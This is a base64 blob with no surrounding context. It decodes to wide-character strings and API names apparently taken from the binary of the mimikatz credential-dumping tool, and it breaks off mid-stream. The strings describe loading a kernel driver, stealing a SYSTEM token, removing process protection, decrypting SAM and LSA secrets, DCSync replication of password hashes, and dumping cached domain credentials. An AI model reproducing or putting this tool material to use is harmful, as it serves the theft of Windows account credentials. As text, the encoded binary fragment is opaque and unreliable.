XwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABDAHIAZQBhAHQAZQBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAbwBwAHAAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHIAZQBtAG8AdgBlAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHAAaQBkAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAAAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAASwBlAHIAbgBlAGwAXwBMAHMAYQBfAFAAcABsAF8AQwBvAG4AZgBpAGcAAAAAAAAAAAAAAAAAAAB7ADcANwBmAGEAOQBhAGIAZAAtADAAMwA1ADkALQA0AGQAMwAyAC0AYgBkADYAMAAtADIAOABmADQAZQA3ADgAZgA3ADgANABiAH0AAAAAAGcAdQBpAGQAAAAAADEAAABhAHQAdAByAGkAYgB1AHQAZQBzAAAAAAAwADAAMAAwADAAMAAwADAAAAAAAAAAAABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAVgBlAG4AZABvAHIAIABHAFUASQBEADoAIAAAAAAACgBBAHQAdAByAGkAYgB1AHQAZQBzACAAOgAgACUAMAA4AHgAIAAoAAAAAAAAAAAATABlAG4AZwB0AGgAIAAgACAAIAAgADoAIAAlAHUACgBEAGEAdABhACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAD4AIABPAEsAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAApAAoACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAHMAYQBtAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGUAYwByAGUAdABzAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMARQBDAFIARQBUAFMAIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAAABsAHMAYQAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFMAQQBNAC8AQQBEACAAZQBuAHQAcgBpAGUAcwAgACgAbgBvAHIAbQBhAGwALAAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAIABvAHIAIABpAG4AagBlAGMAdAApAAAAAAB0AHIAdQBzAHQAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAVAByAHUAcwB0ACAAQQB1AHQAaAAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAbgBvAHIAbQBhAGwAIABvAHIAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACkAAAAAAGIAYQBjAGsAdQBwAGsAZQB5AHMAAAAAAHIAcABkAGEAdABhAAAAAABkAGMAcwB5AG4AYwAAAAAAAAAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAHkAbgBjAGgAcgBvAG4AaQB6AGUAIABhAG4AIABvAGIAagBlAGMAdAAAAAAAAABuAGUAdABzAHkAbgBjAAAAAAAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAGUAbgBkACAAYwB1AHIAcgBlAG4AdAAgAGEAbgBkACAAcAByAGUAdgBpAG8AdQBzACAATgBUAEwATQAgAGgAYQBzAGgAIABvAGYAIABEAEMALwBTAFIAVgAvAFcASwBTAAAAAAAAAGwAcwBhAGQAdQBtAHAAAABMAHMAYQBEAHUAbQBwACAAbQBvAGQAdQBsAGUAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAQQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABTAFkAUwBUAEUATQAAAAAAUwBBAE0AAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMAQQBNACkAIAAoADAAeAAlADAAOAB4ACkACgAAAD4AIABVAHMAZQByACAAYwBhAGMAaABlACAAcgBlAHAAbABhAGMAZQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAgACAAKgAgAHUAcwBlAHIAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAbgB0AGwAbQAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAG4AdABsAG0AIABoAGEAcwBoACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAgAC0AIAB3AGkAbABsACAAdQBzAGUAIABkAGUAZgBhAHUAbAB0ACAAcABhAHMAcwB3AG8AcgBkAC4ALgAuAAoAAAAAAAAAAAAgACAAKgAgAHAAYQBzAHMAdwBvAHIAZAAgADoAIAAlAHMACgAAAAAAIAAgACoAIABuAHQAbABtACAAIAAgACAAIAA6ACAAAABzAGUAYwB1AHIAaQB0AHkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBFAEMAVQBSAEkAVABZACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUA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cwB0AHIAeQBfAFIAZQBnAFMAZQB0AFYAYQBsAHUAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAD4AIABVAHMAZQByACAAYwBhAGMAaABlACAAcgBlAHAAbABhAGMAZQAgAG0AbwBkAGUAIAAoADEAKQAhAAoAAAAgACAATQBzAEMAYQBjAGgAZQBWADEAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABtAGEAYwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUALgAqAHMAXAAlAC4AKgBzAAoAAAAAAE0AcwBDAGEAYwBoAGUAVgAlAGMAIAA6ACAAAAAAAAAATwBiAGoAZQBjAHQATgBhAG0AZQAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUALgAqAHMAAAAAAAAAAAB0AGUAeAB0ADoAIAAlAHcAWgAAAAAAAABoAGUAeAAgADoAIAAAAAAAJABNAEEAQwBIAEkATgBFAC4AQQBDAEMAAAAAAAAAAAAKACAAIAAgACAATgBUAEwATQA6AAAAAAAKACAAIAAgACAAUwBIAEEAMQA6AAAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAAAAAAAAAAAAoAIAAgACAAIABmAHUAbABsADoAIAAAAAoAIAAgACAAIABtAC8AdQAgADoAIAAAACAALwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcwBhAG0AcwByAHYALgBkAGwAbAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAbgB0AGQAbABsAC4AZABsAGwAAAAAAAAAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAAAAAAAAAAABTYW1JQ29ubmVjdAAAAAAAU2FtckNsb3NlSGFuZGxlAFNhbUlSZXRyaWV2ZVByaW1hcnlDcmVkZW50aWFscwAAU2Ftck9wZW5Eb21haW4AAFNhbXJPcGVuVXNlcgAAAABTYW1yUXVlcnlJbmZvcm1hdGlvblVzZXIAAAAAAAAAAFNhbUlGcmVlX1NBTVBSX1VTRVJfSU5GT19CVUZGRVIATHNhSVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3lUcnVzdGVkAAAAAAAAAExzYUlGcmVlX0xTQVBSX1BPTElDWV9JTkZPUk1BVElPTgAAAAAAAABWaXJ0dWFsQWxsb2MAAAAAbWVtY3B5AABwAGEAdABjAGgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABpAG4AagBlAGMAdAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAABEAG8AbQBhAGkAbgAgADoAIAAlAHcAWgAgAC8AIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABOAGEAbQBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAUwBhAG0AUwBzAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAA